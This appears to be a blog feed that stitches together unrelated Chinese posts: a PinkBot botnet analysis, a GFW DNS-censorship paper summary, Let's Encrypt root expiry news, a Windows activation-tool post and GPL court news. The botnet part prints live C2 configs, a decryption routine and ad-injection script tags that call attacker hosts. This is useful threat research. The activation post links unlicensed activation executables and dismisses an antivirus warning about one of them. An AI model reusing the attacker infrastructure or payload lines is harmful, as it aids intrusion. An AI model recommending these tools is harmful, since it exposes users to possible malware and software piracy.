在我们全网探测的测量数据中,受感染的 IP 主要集中在中国 (96%),遍及全国 33 个省。
PinkBot是一个同时融合了“P2P”和“CNC”的混合结构僵尸网络。一般情况下,它将时效性要求不高的指令(如管理配置信息)通过P2P的方式传递,将时效性要求较高的指令通过CNC模式集中分发(例如:发起ddos攻击,向用户访问的HTTP网站中插广告)。
对于每一个Bot来说,最重要的一步是找到自己的管理员。而管理员的信息就包含在“配置”之中,下面是最新截获的配置信息:
{
"verify": "1585065675",
"cncip1": "144.202.109.110",
"cncport1": "32876",
"dlc": "5b62596bc1453d51cc7241086464f294",
"dl": "http【:】//155.138.140.245/dlist.txt",
"dlc1": "484417e6f65c8e18e684d60c03c4680a",
"dl1": "https【:】//*****.com/johncase/zip/raw/master/dlist.txt",
"sd0": "1.1.1.1",
"sdp0": "443",
"srvk": "FJAz37XiKgnTLtVpmhjxZcavTJUU5r4XN3Wl5nhTpg0=",
"pxy": "1"
}
通过上一节的介绍,不难发现“配置信息”其实就是这个僵尸网络的核心,它保证了攻击者对僵尸网络的绝对控制能力。
为了防止其他人发现配置信息,传递的配置信息都是异或加密过的密文。异或加解密算法是对称的,其解密代码逻辑如下:
def easydecrpyt(message):
res = ""
for cursor in range(0, len(message)):
mbt = ord(message[cursor])
res += (chr((mbt ^ (cursor%0xff) ^ 0xae ^ 0xac ^ 0xbe ^ 0xef) & 0xff))
return res
信息加密后,为了防止他人伪造。攻击者还使用了ecdsa对配置信息进行了签名,签名细节如下:
mbedtls
;ECDSA
;MBEDTLS_ECP_DP_SECP192R1
; 04 8D 54 71 71 44 A0 61 DA 5A B4 EA 40 55 2F 21 B1 9B 6C A5 17 92 0F 10 B5 11 56 ED 14 DB 54 47 1A 94 48 06 06 3C 7A B4 3B 25 D1 AC 9F 85 AF 33 9E
除了保证配置信息的机密性和完整性外,攻击者还使用了多种手段来分发配置信息,以确保其可用性。
该分发渠道的核心是一个隐藏在GITHUB上的项目,比如最近一次看到的项目就是(mypolo111/vfg),可以看到这个项目的README中,有两行内容。
其中,模式为P!!<base64>I!!
行是配置签名,模式为N!!<base64>K!!
行是配置信息的密文。
但对于每一个Bot来说,想要找到这个隐藏项目却很复杂。最初,先从一个固定的BTC钱包1GQNam6xhzYVLWWXvRfu3EjsFon6n6GxMF
的转账记录生成一个 topic 标签,在逆向样本相关代码之后,我还原了这个过程,如下图所示(BTC钱包的查询用到了四个web服务,具体的地址也如图中所示):
对于每一个可能的topic标签,都有很多相关的github项目。遍历这些项目的ISSUES,寻找一个格式为 ...!<base64>...?
的字串,比如我们最近找到的一个就是 ...!L215cG9sbzExMS92Zmc=...? 将这个base64 还原,就是隐藏项目的地址了 mypolo111/vfg
再通过搜索 GITHUB 的 Topics 和 ISSUES,找到那个隐藏的GIT项目。
另:mypolo111 这个账号在多个项目中提交过ISSUES,相关截图如下所示:
PS:在这一套寻址逻辑下,攻击者可以通过为 “特定BTC钱包” 增加交易记录的方式,来切换最终找到的 GITHUB 项目。在这样的前提下须封掉指定BTC钱包才能破坏这个僵尸网络以 GITHUB 为主的分发逻辑。
攻击者在少部分样本中还尝试利用“某中文社区”分发配置信息,这一部分的逻辑和利用GITHUB分发的逻辑相似。
Bot节点运行后,会在本地监听 UDP-123 端口,该端口原本是NTP服务默认端口,所用的协议也具有一定的迷惑性。一段时间后,会向公网的四个B段地址("114.25.0.0/16","36.227.0.0/16","59.115.0.0/16","1.224.0.0/16")发起 Peer 探测请求,内容为 1C 00 00 00 当目标为正常的 NTP 服务器时会得到 NTP 时间,而如果目标为一个Bot节点时,则有两种回复:
下图是最近捕获到的UDP-123 传递的配置信息。
Bot 节点运行后,还会在本地监听一个 TCP 端口,且端口号是通过其公网 IP 计算后得到的,代码如下图所示:
交互协议的格式同UDP123上的相同。
攻击者在部分样本中内置了一个域名 cnc.pinklander.com ,当该域名启用后,会展示一个web页面,页面内容和GITHUB项目的内容相同。也是base64 编码后的配置信息。
每条指令至少包含7字节,含义依此如下:
这里附上一张截图供参阅,其中红框标记的就是指令字段:
上述配置信息中的 cncip1 和 cncport1 便是攻击者实际使用的主控节点。PinkBot 连接到 cnc 后将通过密钥交换方式来做加密通信,细节如下:
14 90 33 DF B5 E2 2A 09 D3 2E D5 69 9A 18 F1 65 C6 AF 4C 95 14 E6 BE 17 37 75 A5 E6 78 53 A6 0D
为了能够同时适配 mipsb/mipsl 机型中字节序列的分布不同,传输的内容其实是经过开源库nanopb 转化后的内容,这个库可以通过约定模版的方式来抽象序列化和反序列化的过程,从而忽略掉大/小端内存的干扰。
与我们常见到的 botnet 不同,PinkBot 为了保持对感染设备的绝对控制权,会在感染光猫后,重新刷写原有的光猫固件。在刷写后的固件中,包含了 PinkBot 的下载器母体和配套的启动程序。
下图是被感染后新增/修改的文件列表:
其中tmp目录的内容可以暂时忽略,这是样本运行中生成的临时文件。
关键文件说明:
9ec5bd857b998e60663e88a70480b828
)451a3cf94191c64b5cd1be1a80be7799
)前面提到,Pink 具有通过 p2p 方式来分发非实时性指令信息的特性。利用这个特性,我们得以在全网范围内对 PinkBot 的感染量进行评估,最终得出的全球受感染IP超过160万的这个结论。
我们通过模拟 PinkBot 来实时接收CNC主控分发的指令。
除了日常的维护类指令(心跳指令/peerlist同步指令)外,我们还收到了多条向WEB网页插入广告的指令,例如:
<script async src="http【:】//45.32.21.251/j/?$$"></script>
<script async src="http【:】//167.179.80.159/j/?$$"></script>
<script async src=“http【:】//114.55.124.13/j/?$$“></script>
本文其他部分,均完成于2020年春节前后,到现在已经度过了一年半的时光。在这段时间中,我们没有发现 Pink 出现太大的变动,本节附上了一些最新的线索,供同仁们共同研究和追踪。
随着对 pink 的持续追踪,我们发现,pink 的配置信息会间歇性发生变化,变动内容主要体现在 CNC 字段和 DL* 字段,并于最近几个月趋于稳定。下面是我们在 2021/10/5(北京时间) 捕获的最新配置信息。
{
"verify":"1611936001",
"cncip1":"140.82.40.29",
"cncport1":"26007",
"dlc":"450aa79da035a8a55ca4c0e6b1025b50",
"dl":"http://209.250.247.60/dlist.txt",
"dlc1":"47ed94977b45099f1ef5c7701b2d25dc",
"dl1":"https://****.com/****/dlist.txt",
"sd0":"1.1.1.1",
"sdp0":"443",
"srvk":"FJAz37XiKgnTLtVpmhjxZcavTJUU5r4XN3Wl5nhTpg0=",
"pxy":"1"
}
我们一直阶段性的对公网上的 Pink 节点进行持续监测,通过对 2021/10/20日的日志分析,我们仍然可以看到 103024 个 IP 处于日活状态。这表明,当前的 pink 的感染规模仍然在 10万量级左右,涉及多家设备厂商,按照每个IP对应一个三口之家来计算,受影响人群大概 30万人左右。按照每个光猫 100 元的更换成本计算,当前仍有上千万损失等待弥补。
文章编写完成时,我们并没有抓到 Pink 发起 ddos 攻击的指令,但在随后的一段时间中,我们监测到了大概100多条试图发起 DDos 攻击的指令,下面筛选其中的两条,供参考:
在对 Pink 僵尸网络分析跟踪的过程中。我们注意到,攻击者和不同厂商进行过多次的攻防对抗。
这一章节将简单介绍下在对抗中, Pink 展现出来的一些能力。
根据相关厂商之一提供的信息,对抗最早发生在 2019 年 11 月中旬。受攻击的漏洞源于一个 TCP-17998 的管控服务,该服务是对运营商提供的一个管理家用光猫的接口。由于服务配置和实现的失误,向公网开放了访问权限,攻击者通过它获取了相关光猫的控制权。
第一次对抗: 厂商在发现这个问题后,开始试图在公网上通过相同的漏洞,修复自家设备。但很快就被攻击者发现并马上采取行动,通过 iptables 关闭了 TCP-17998 的外网访问能力,从设备内部阻止了厂商的进一步修复。
第二次对抗:此次攻防的焦点在 tr069 升级通道。厂商从运营商侧可以在设备启动瞬间利用 tr096 进去修复设备。然而此次攻击者仍然在第一时间察觉到问题,并迅速更新固件关掉了tr096 的更新通道。
第三次对抗:厂商又尝试利用设备上 LAN 侧的 TCP-80 HTTP 服务来进行设备修复,然而,同样的结局,攻击者很快又更新固件把设备上的 HTTP 服务文件干掉了。至此,所有的光猫都成了网络孤岛,它们只能提供终端用户的正常网上冲浪的能力,却再没有网络端口可以供外侧管理访问。
最后的方案:厂商已经完全没有还击的筹码了。如果要修复这些孤岛,只能派人入户接触光猫,拆解出调试接口或者干脆为用户更换光猫。
复盘总结:设备厂商与攻击者多轮的攻防对抗中,双方的信息和能力是不对等的。厂商在无法获知全网受害情况的前提下,从互联网上一个IP一个IP的发现设备/修复设备。而攻击者通过集中C&C的机制,统一下发关服务指令。虽然,厂商修复了一部分设备得到了局部胜利,但攻击者仍然保住了大部分胜利果实获取了全局胜利。
另一方面,将物联网设备供应商与成熟的系统供应商在安全能力方面对比(例如Windows、安卓或者MacOS),后者拥有成熟的多的安全人员建制和丰富的多的安全对抗经验。再考虑到物联网设备数量众多,多得多的数量加上少的多的防御,更多的攻击转向物联网设备是老道攻击者的自然选择。
我们在实际跟踪中通过残留的早期指令发现,PinkBot 至少已经存在一年以上了,最早可以追溯到 2018年10月16日,当时使用的 github 帐号为 pink78day(这个账号早就已经看不到了,我们通过搜索Google的网页快照服务追溯)。
目前 PinkBot 使用的帐号是 2019年11月下旬注册的 mypolo111,而 pink78day 这个账号已经无法在 GitHub 上搜索到,所以我们推测,Github 在发现这个项目后对帐号采取了屏蔽措施,而最近一次攻防也就发生在 2019年11下旬 PinkBot 换帐号这个时间点。
复盘总结:对于GitHub来说,PinkBot 数量巨大,且访问的项目是一个明显恶意的项目,会消耗较多的服务资源,于情于理,GitHub 都要封杀这个僵尸网络。问题在于,他们误认为 pink78day 是一个集中分发指令的渠道,以为单纯封杀这个账号就没事了。但事实上,这个账号只是一个相对下游的控制手段。攻击者通过增加BTC钱包的交易记录就可以瞬间将Bot重定向到一个新的账号上。消耗资源的问题依然存在,此次攻防无所谓成功失败。
通过长期跟踪,攻击者使用过的CNC地址有:
PinkBot 会通过HTTP服务同步样本,用于更新或扩大感染。所用的HTTP服务有一些是公有服务,有一些是临时建立的HTTP服务。
在长期的跟踪中,我们确定至少存在以下URL被用于样本同步。这些URL均提取自 PinkBot 的配置信息中。
通过跟踪获取到的相关样本(ELF)汇总如下:
]]>9ec5bd857b998e60663e88a70480b828 /bin/protect
451a3cf94191c64b5cd1be1a80be7799 /bin/tr69c
06d6ad872e97e47e55f5b2777f78c1ba slient_l
07cd100c7187e9f4c94b54ebc60c0965 slient_b
0f25b0d54d05e58f5900c61f219341d3 client_b
0f89e43ea433fdfd18a551f755473388 slient_l
1197994610b2ffb60edbb5ab0c125bc0 client_b
167364ad0d623d17332f09dbb23a980e client_b
175b603082599838d9760b2ab264da6f slient_l
1a6dce9916b9b6ae50c1457f5f1dfbbd slient_l
229503686c854bb39efdc84f05b071b9 slient_b
25a07e3ef483672b4160aa12d67f5201 client_l
262a4e242c9ebeba79aa018d8b38d229 client_l
29d0afd2a244c9941976ebf2f0f6597f client_l
2befedd020748ff6d9470afad41bd28c slient_b
2ca5810744173889b2440e4f25b39bd4 client_l
36e48e141943a67c6fdeaa84d7af21cc client_b
3a620ff356686b461e0e1a12535bea24 slient_l
41bbe8421c0a78067bae74832c375fe8 slient_l
45ee78d11db54acfdda27c19e44c3126 client_l
4830c3950957093dac27d4e87556721e slient_l
484761f281cb2e64d9db963a463efca5 client_l
48a7f2799bf452f10f960159f6a405d3 client_l
494412638dc8d573172c1991200e1399 client_l
4c83ad66189a7c4d2f2afdbfb94d0e65 slient_b
50270de8d5783bb0092bf1677b93c97b slient_l
54aa9e716567bd0159f4751916f7f0d1 client_l
5ae1fec20c2f720269c2dc94732187e8 slient_b
5b62a9bd3431c2fd55283380d81c00fa client_b
5c322610e1845d0be9ccfc8a8b6a4c4f client_l
5c4f8dae67dad8cac141afa00847b418 slient_b
5d0d034845bd69179bf678104c046dc1 client_b
60658ef214c960147200d432eece3e13 slient_l
60a2b1bb02a60ac49f7cc1b47abdf60c client_l
610f0aadba3be1467125607bf2ba2aaf slient_l
66a068fd860bda7950fde8673d1b5511 client_b
6c4de9bd490841f0a6c68638f7253c65 client_b
72c531a813b637af3ea56f288d65cdb7 slient_b
7608b24c8dcf3cd7253dbd5390df8b1f client_b
7645a30a92863041cf93a7d8a9bfba1a client_b
857fc3c7630859c20d35d47899b75699 slient_b
861af6b5a3fea01f2e95c90594c62e9d client_l
8e86be3be36094e0f5b1a6e954dbe7c2 client_l
8fbcd7397d451e87c60a0328efe8cd5d client_b
987a9befb715b6346e7ad0f6ac87201f slient_b
9eb147e3636a4bb35f0ee1540d639a1b slient_b
aa2fc46dd94cbf52aef5e66cdd066a40 client_l
ae8b519504afc52ee3aceef087647d36 slient_b
b0202f1e8bded9c451c734e3e7f4e5d8 slient_b
b6f91ad027ded41e2b1f5bea375c4a42 slient_b
b9935859b3682c5023d9bcb71ee2fece slient_b
b9d1c31f59c67289928e1bb7710ec0ba client_l
bec2f560b7c771d7066da0bee5f2e001 client_b
c2efa35b34f67a932a814fd4636dd7cb slient_l
c839aff2a2680fb5676f12531fecba3b slient_b
c94504531159b8614b95c62cca6c50c9 slient_l
dfe0c9d36062dd3797de403a777577a6 client_b
e19a1106030e306cc027d56f0827f5ce slient_l
f09b45daadc872f2ac3cc6c4fe9cff90 client_b
f5381892ea8bd7f5c5b4556b31fd4b26 client_b
f55ad7afbe637efdaf03d4f96e432d10 slient_b
f62d4921e3cb32e229258b4e4790b63a client_b
f81c8227b964ddc92910890effff179b slient_b
fc5b55e9c6a9ddef54a256cc6bda3804 client_b
fe8e830229bda85921877f606d75e96d slient_l
fee6f8d44275dcd2e4d7c28189c5f5be client_l
本文转自:https://yangxiamao.github.io/2021/09/30/互联网的刻耳柏洛斯-GFW的DNS审查系统/
刻耳柏洛斯是希腊神话中看守冥界入口的恶犬,它允许每一个死者的灵魂进入冥界,但不让任何人出去,同时也不允许活人进入。
纽约大学石溪分校的 Nguyen Phong Hoang 和多伦多大学的 Arian Akhavan Niaki 等人,建立了一个名为 GFWatch 的网络平台,对中国网络长城(俗称 GFW)的 DNS 审查系统进行了探测和实验,最后写出了一篇论文发表在历史悠久的 USENIX(高等计算系统协会)的相关会议上。文章名为《How Great is the Great Firewall? Measuring China’s DNS Censorship》,您可通过链接 https://www.usenix.org/system/files/sec21-hoang.pdf 获得论文原文。
在 GFWatch 工作的九个月时间里,它测试了 5.34 亿个域名。论文展示了一组触目惊心的数据:至少有 31.1 万个域名被 GFW 的 DNS 过滤系统干扰。并且 GFW 还主动出击,在世界范围内污染了公共 DNS 解析服务(public DNS resolvers)中至少 7.7 万个域名的数据,其中包括谷歌和 Cloudflare 的 DNS 解析器。
他们在论文中说:
“These techniques will not only help public DNS resolvers and other DNS-related services to sanitize tainted records, but can also assist future development of circumvention tools tobypass the GFW’s DNS censorship.”
他们的研究不仅可以帮助清除 DNS 解析器和其他 DNS 相关服务中污染了的 DNS 数据,还可以帮助今后的开发人员去开发绕过 GFW 的 DNS 审查系统的工具。
DNS (Domain Name System)的作用是根据域名查出IP地址。它是一个将域名和IP地址相互映射的分布式数据库,你可以把它想象成一本巨大的电话本。
举一个例子,如果我们要访问域名 www.baidu.com ,首先要通过 DNS 查出它的IP地址 183.232.231.172。下图是 DNS 查询的一个简单示意图。
论文中提到,由于 GFW 是一个通路的(on-path)/旁观者(man-on-the-side)的系统 ,所以它没办法通过修改或者简单丢弃互联网上传输的那些被封锁的域名的 DNS 查询响应。但是由于 DNS 使用无状态、未加密的 UDP 协议进行传输,所以 GFW 可以通过可以实时监测互联网上的流量,当在用户的 DNS 查询中检测到受审查的内容时,注入错误的响应。
由于 GFW 的相关设备通常离客户端更近(就物理/网络距离而言),所以被检测的响应通常会比合法的响应更早到达,从而达到让用户无法获得正确的域名的 DNS 的目的。
当你凝视深渊时,深渊也在凝视着你。
GFWatch 的设计要求中,有一点就是要可以探测到尽可能多的被 GFW 阻断的网站。GFWatch 从 超过 1500 个TLD zone file 处获得实时更新的域名列表,平均每天会对 4.11 亿个网站进行监测,截至 2020 年总共探测了 5.34 亿个网站。发现至少有 31.1 万个域名被 GFW 的 DNS 过滤系统干扰。
GFWatch 同时被设计以可以实行长期探测。一旦它探测到某个网站被封锁,GFWatch就会持续对这个网站进行观测,观察这个网站是否会在某个时间点被 GFW 解封。
同时,GFWatch 还被设计来收集统计 GFW 返回的虚假 IP 地址。
接下来我们来看看 GFWatch 的实验和探测手段。
GFWatch 的主要探测器位于没有 DNS 审查制度的美国,从这台机器发送 DNS 查询消息前往位于中国的两台主机。但是位于中国的那两台主机并没有 DNS 解析能力,因此,主探测器的任何 DNS 响应都应该是来自 GFW。
因为 DNS query 使用 UDP,所以 GFWatch 也被设计为使用 UDP 进行探测。而 UDP 是一个无状态和不可靠的协议,数据包可能会由于不受控制的因素(例如,网络拥堵)而丢失。为了尽量减少这些因素对数据收集的影响,GFWatch 每天至少对每个域名进行三次测试。
很妙的一个实验方法!一个优秀的猎手往往以猎物的姿态存在。虽然你耗费了电费和带宽,但是你可是钓上了 GFW 这条大鱼啊!
中国的两台主机位于两个不同的自治系统(AS)中。但是从探测结果来看,发往这两台中国主机的 DNS 查询所接受的封锁政策是相同的,故研究人员猜测 GFW 应该是采用中心化政策(centralized blocking policy)的一个系统。
在位探测仪完成每个探测批次后,被检测到的受审查域名被转移到中国主机上,
接着,研究人员又控制位于中国境内的主机向位于美国的主机发送网站的 DNS 查询信息。研究人员观察到从美国发往中国的 DNS 查询时会被审查的域名在中国发往美国时同样会被审查。
通过两个探测路径探测到了相同的被审查的域名名单。
截至论文发表时,GFWatch 仍在运行,每天都在收集数据。
无论多么天衣无缝的犯罪,只要是人作的,就没有解不开的道理。
——阿瑟·柯南·道尔《福尔摩斯全集》
如果 subdomain.example.com 和 example.com 的所有子域都被封锁,研究人员就将 example.com 视为一个被封锁的域名(blocked domain)。最短的审查域名便称为 “基础域名”(base domain)。通过对 GFWatch 发现的 31.1 万个被审查的域名进行分析,研究人员发现了 13.87 万个基础域名。截至 2020 年 12 月 31 日,仍存在 12.6 万个被封禁的基础域名。
但是研究人员同时注意到,当一个子域名被封锁时,基础域名可能不会被封锁。例如,cs.colorado.edu 被封锁了,而 colorado.edu 没有被封锁,这说明 GFW 没有简单地采用一刀切的封锁措施。于是研究人员进一步的进行了分类,对于一个给定的域,研究人员测试了每个审查的域和随机字符串的以下排列组合。
在 138.7 万个基础域名中,有 11.8 万个域名根据规则 0 进行是独立审查的。换句话说,这些域名是被审查的,但在与随机字符串连接时不会触发GFW的DNS审查。
在这些规则中,只有规则 1 和 3 是基础域名的子域名的正确存在形式。研究人员把规则 1、3 以外的规则与较短的域名字符串组合在一起的被审查的域名称为被过度封锁(overblocked)的域名。
按照封锁严重程度的升序,研究人员发现在规则2、3、4、6和8下,分别有4、11.38 万、1.09 万、1400 个和 696 个不同的基础域名被封锁。
有超过 1.3 万个基础域名被过度封锁。在发现的 33.1 万个被审查的域名中,有 41000 个域名是过度封锁的。
论文中举了一个例子:GFW 将 torproject.org 进行了严格审查,对其进行了过度封锁(overblocked)。包括 mentorproject.org 在内,任何包含了 torproject.org 字段的网站都被 GFW 封锁,令人啼笑皆非。(Tor 是一个旨在实现匿名通信的自由软件(free software),Tor 用户的互联网活动相对较难追踪。)
919.com、jetos.com 和 33a.com 这三个域名共造成15000个不相关的域名被过度封锁,如果有朋友打算购买域名,请注意避开包含有相关子字符串的域名。以避免被 GFW 不明不白的封锁了。
研究人员使用了 FortiGuard 提供的服务,进行域名分类。
统计发现,“商业”(business)、“色情”(pornography)和 “信息技术”(information technology)这三种网站是 GFW 封锁的主要类型(除了未分类的网站外)。
另外一项没有没有统计子域名的研究则发现,“代理”(proxy avoidance)和 “个人网站和博客”(personal websites and blogs)是被封锁最多的网站类型。
虽然 "教育" 不是被审查的首要类别,但研究人员同时发现了许多与教育有关的域名被封锁,包括 mit.edu、umich.edu、gwu.edu、armstrong.edu、brookings.edu、citizenlab.ca、feitian.edu、languagelog.ldc.upenn.edu、pori.hk、soas.ac.uk、 scratch.mit.edu、cs.colorado.edu……
这是 GFW 滥封网站的又一个证据。
GFWatch 检测到大量与 COVID-19 有关的域名被 GFW 通过 DNS 篡改进行审查,包括 covid19classaction.it、covid19song.info、covidcon.org、ccpcoronavirus.com、covidhaber.net 以及 covid-19truth.info 等网站。
虽然大多数 COVID-19 相关的网站在出现后很快被 GFW 发现并封锁,但研究人员发现 GFW 无法做到实时封禁相关网站。
ccpcoronavirus.com 和 covidhaber.net 于 2020 年 4 月首次出现在 GFWatch 的测试列表上,但分别直到 7 月和 9 月才被 GFW 封杀。同样的,covid-19truth.info 在 2020 年 9 月出现在研究人员的数据集中,但直到 10 月才被审查。
GFW 审查不同域名所需时间的巨大差异表明,封锁网站名单很可能是由自动工具和人工共同完成的。
真理是永远蒙蔽不了的。
了解 GFW 伪造的 IP 和它们被注入的模式(如果有的话)是至关重要的。
研究人员分析了 GFWatch 收集的 IP,以研究是否存在任何特定的注入模式,在此基础上,我们可以制定策略来有效地检测和绕过 GFW 的 DNS 审查制度。
研究人员从 GFWatch 捕获的所有中毒的 DNS 响应中发现了 1781 和 1799 个伪造的 IPv4 和 IPv6 地址。
研究人员发现所有被 GFW 注入的 IPv6 地址都是假的,因此,研究人员把分析的重点放在伪造的IPv4地址上。
从 2020 年 5 月份开始,GFWatch 监测到 GFW 使用的伪造 IP 数量开始增多,在2020年的最后四个月,伪造的 IP 数量增长到 1700 个左右。
通过分析每个伪造 IP 地址的注入频率,我们发现并不是所有的伪造 IP 都有同样的机会被注入到被审查的回应中,也就是说,他们的注入模式并不是完全随机的。
尽管 GFW 伪造的 IP 数量迅速增加,但最初的 200 个伪造的 IP 仍然对 99% 的 DNS 注入负责。从 5 月到 8 月发现的新的的 1300 个伪造 IP 位于长尾部分,研究人员只在 1% 的 GFW 伪造的 DNS 响应中发现了它们。
根据这一试验结果,我们或许获得了些许反制 GFW DNS 污染的灵感。
城外的人想进去,城里的人想出来
因为有时 DNS 查询的信息不可避免的会经过中国网络,触发 GFW 的双向 DNS 过滤行为,故先前研究人员曾认为 这是中国境外的公共 DNS 解析器缓存被污染的原因。
经过进一步的研究,研究人员发现许多域名的权威名称服务器(authoritative name servers)位于中国境内是另一个主要原因,这些中毒的 DNS 缓存借此玷污了世界各地的许多公共 DNS 解析器。
GFWatch 发现的被审查的域名和 GFW 伪造的 IP 的数据集有助于检测和净化公共 DNS 解析器缓存中的中毒资源记录。
2020 年 8 月 8 日,GFWatch 检测到 GFW 一个奇怪的封锁行为:GFW 对中国政府网站进行了审查阻断。
www.beian.gov.cn 名为“全国互联网安全管理服务平台”,由中国工业和信息化部管理。这个域名有两个权威的名称服务器,dns7.hichina.com 和 dns8.hichina.com,它们被托管在 16 个不同的中国境内的 IP 地址上。一旦在中国境外发出向针对该网站的 DNS 查询,GFW 便会对查询进行污染与注入。但位于中国境内的主机仍然可以正常访问这个网站。
因此,这是一个明显的地理封锁案例。GFW 不仅仅封堵了主机从中国向境外被审核网站的访问,也污染了境外主机向中国境内部分网站访问时的 DNS 查询。
从中国境外访问 www.beian.gov.cn 会间歇性地成功,因为 GFW 的 DNS 注入有时会比正确的响应更晚到达使用终端。
研究人员提到了 GFW 发动资源耗尽攻击(resource exhaustion attacks)的可能性。 一旦 GFW 将 DNS 查询的结果大量导向某个 IP 地址,受影响的组织将在服务器上付出不可忽视的开销。
GFW 甚至可以针对一个 DNS 查询发出多达三个伪造响应。从GFW的角度来看,注入多个虚假响应不仅增加了成功污染查询结果的可能性,也使检测和规避 DNS 污染的成本增高,难度增大。
你就是这道黑暗中强烈的光束,从属于你的夜晚中,照亮了他们曾经看不见的白天。
——爱德华·勒维
一旦 GFWatch 检测到有域名被 GFW 封锁,研究人员就向公共的 DNS 解析器查询它们。最终,研究人员发现了公共 DNS 解析器的缓存中,有 7.7 万个被 GFW 审查的域名被污染。下图显示了数据被污染得最多的前十个公共 DNS 解析器。
这一发现显示了 GFW 在世界范围内的广泛影响,使得公共的 DNS 解析器的操作者必须有一个有效的机制来防止这些中毒的资源记录污染他们的缓存,以保证他们的DNS服务质量。
现在,研究人员将展示如何根据前文展示的 GFW 的特点和 GFWatch 获得的浩如烟海的数据制定策略,以有效和高效地规避 GFW 的 DNS 审查制度。
当收到一个以上的 IPv6 回应时,客户端可以根据 GFW 伪造的 IPV6 的显著特点排除掉被污染的 IP 地址。对于 IPv4 答案,客户端可以根据前文中发现的 GFW 伪造 IP 的注入模式和伪造的 IPv4 特点来检查它们。
从下图中,我们可以看到 99% 的被 GFW 污染的 DNS 响应比正确的响应提前 364ms 到达我们的机器(这个延迟时间根据终端和 GFW 之间的相对距离的不同而可能会有所不同)。换句话说,在查询一个受审查的域名 IP 时,收到 GFW 设备发出的 DNS 响应时,客户端最多应该多等 364ms,以等待正确 IP 的到来。
人类收到火的礼物之后,国王会用它征服世界,厨师会用它喂养世界,工程师会用它移动世界。小丑只会用它玩杂耍。
研究团队开发了 GFWatch,监测并统计了 GFW 基于 DNS 审查的封锁行为。然而,DNS 审查并不是 GFW 使用的唯一的封锁技术,还有其他许许多多的技术被采用来防止信息在互联网间自由的流通。例如,基于 SNI 的封锁、基于关键字的过滤、针对特定 IP 的封锁、使用深度包监测识别异常流量……
本篇文章以 MIT 协议开源,欢迎任何人转载、引用。祝您生活愉快、学业、事业顺利。
]]>安全研究员 Scott Helme 警告称:作为全球最大 HTTPs 证书提供商之一的 Let's Encrypt,即将于下周停用旧版根证书(Root CA)。这意味着数百万计依赖它的网站必须在 9 月 30 日前及时更新,不然将面临不受计算机、设备或 Web 浏览器信任的困扰。
据悉,Let's Encrypt 是一个由非营利性组织 互联网安全研究小组(ISRG)提供的免费、自动化和开放的证书颁发机构(CA),简单的说,就是为网站提供免费的 SSL/TLS 证书。数据显示,自2014年成立以来,截止2021年9月初,Let’s Encrypt已经总计已经颁发了超过20亿份证书,目前已经为2.6亿个网站提供 TLS 证书。
早在2020年,Let’s Encrypt就宣布其服务使用的一个由IdenTrust提供的根证书DST Root CA X3将于2021年9月1日到期,它将用自己命名为ISRG Root X1的根证书为过期做准备。此次,Let’s Encrypt停用旧版根证书将有一大批网站遭到影响。
然而 Let's Encrypt 当前使用的 IdentTrust DST Root CA X3 根证书,也即将于下周过期。对于大部分网站的访客来说,9 月 30 日可能是个波澜不惊的一天。
但是对于较旧的设备来说,可能还是会遇到一些问题 ——正如 AddTrust External CA Root 在今年 5 月遭遇的根证书过期中断那样,造成Stripe、Red Hat 和 Roku 都受到了影响。
Scott Helme 在一篇博文中写道:“考虑到 Let's Encrypt 和 AddTrust 之间的体量差异,我有预感 IdenTrust 根证书到期时又会让历史重演,甚至可能引发更多的问题”。
如果你的网站使用的Let's Encrypt品牌根证书过期的话,就会出现的网站兼容性降低,甚至部分网站不能访问的现象,而这无疑会严重影响用户体验。
当然,潜在易受影响的,主要是那些不怎么定期更新的设备 —— 比如嵌入式系统、或运行多年前软件版本的智能手机。
目前已知以下软件或设备会受到影响:
以下软件或设备可能会受到影响:
虽然包括 Android 7.1.1(Nougat)及更早版本的设备并不信任它,但 Let's Encrypt 还是能够通过对自颁证书进行交叉签名的方式,让大多数 Android 设备可在未来三年内避免受到波及。
但若你还想在 Android 5.0(Lollipop)上安装 Firefox,最好还是尽早为迁移至新平台做打算。
]]>数字许可证(在Windows 10 版本1511 中称为数字授权)是Windows 10 的一种激活方法,该方法不需要输入产品密钥。 在同一台电脑上主要硬件(应该是CPU和主板)不变化的情况下,重新安装系统时无需再次输入密钥,系统会在自动连接到微软服务器进行激活。
点击下面的链接下载:
https://cdn.gd1214b.tk/Windows_Active_Tools/Win10Activation.exe
萌咖大佬在 @demonsya 大佬的版本上添加了几个可能需要的功能。
优化了批处理执行逻辑,失败自动重试。
兼容大于等于 win7(win server 2008) 的各个版本的激活信息(包括Office)查询,备份,还原。
自动激活(获取数字许可证)只支持win10,以后重装只要联网就会自动激活,无需输入许可证密钥。
这是Windows10特有的方式,非KMS 180天循环激活。
https://cdn.gd1214b.tk/Windows_Active_Tools/HWIDGen_62.01_ZH_CN.exe
此文件Windows Defender 会报毒,但经本人检测并无病毒
HWIDGen 是一款由国外Nsane论坛会员s1ave77制作的Windows 10数字权利激活工具,这款Win10数字权利获取工具,可以自动获取Windows 10 数字许可证激活,无需产品密钥,以最简单的方式永久激活。
通过修改系统内核数据来激活系统,具体请看源码:https://github.com/vyvojar/slshim
默认情况下当Windows 10被激活后会自动生成与硬件ID对应的许可证,该许可证会存储到微软的服务器上。当系统重新安装时自动将硬件ID提交给微软检索对应的许可证,若许可证符合则系统自动激活无需用户操作。日前在国外科技论坛有大神发布名为HWIDGEN激活工具,该激活工具几乎秒杀所有版本Windows 10系统。我们知道Windows 10现在激活后会带有数字权利,数字权利可以在我们重装系统后自动激活无需再次激活。而HWIDGEN激活工具正是直接获取数字激活权利进行永久激活,此方法激活后用户下次安装同样无需激活。
https://cdn.gd1214b.tk/Windows_Active_Tools/CMWTAT_Digital_Release_2_5_0_0.exe
使用自动模式激活 Windows 10
-? --help 启动后弹出启动参数帮助对话框。
-a --auto 启动后自动激活系统。
-e --expact 自动激活系统时允许使用实验性方案。(需要与 -a 或 --auto 配合使用)
-h --hide 以隐藏模式启动,激活进度以通知形式显示。(需要与 -a 或 --auto 配合使用)
本文转自:https://www.oschina.net/news/159435
近日,一起关于 GPL 版权纠纷案裁判文书公示。一审判决书显示,GPL3.0 协议是一种民事法律行为,具有合同性质,可认定为授权人与用户间订立的著作权协议,属于我国《合同法》调整的范围。一审判定两侵权被告公司赔偿原告公司经济损失及维权合理费用共计 50 万元,并停止侵权行为。
此判例可以说是中国首个明确 GPL3.0 协议的法律效力的案例。判决书显示,明确违反开源软件许可证的侵权法律责任,一方面可以及时制止侵权行为,防止他人对开源软件的不正当利用;另一方面能够有效保护授权人的利益,使他们保有继续创作的动力,促进源代码共享和知识的传播。
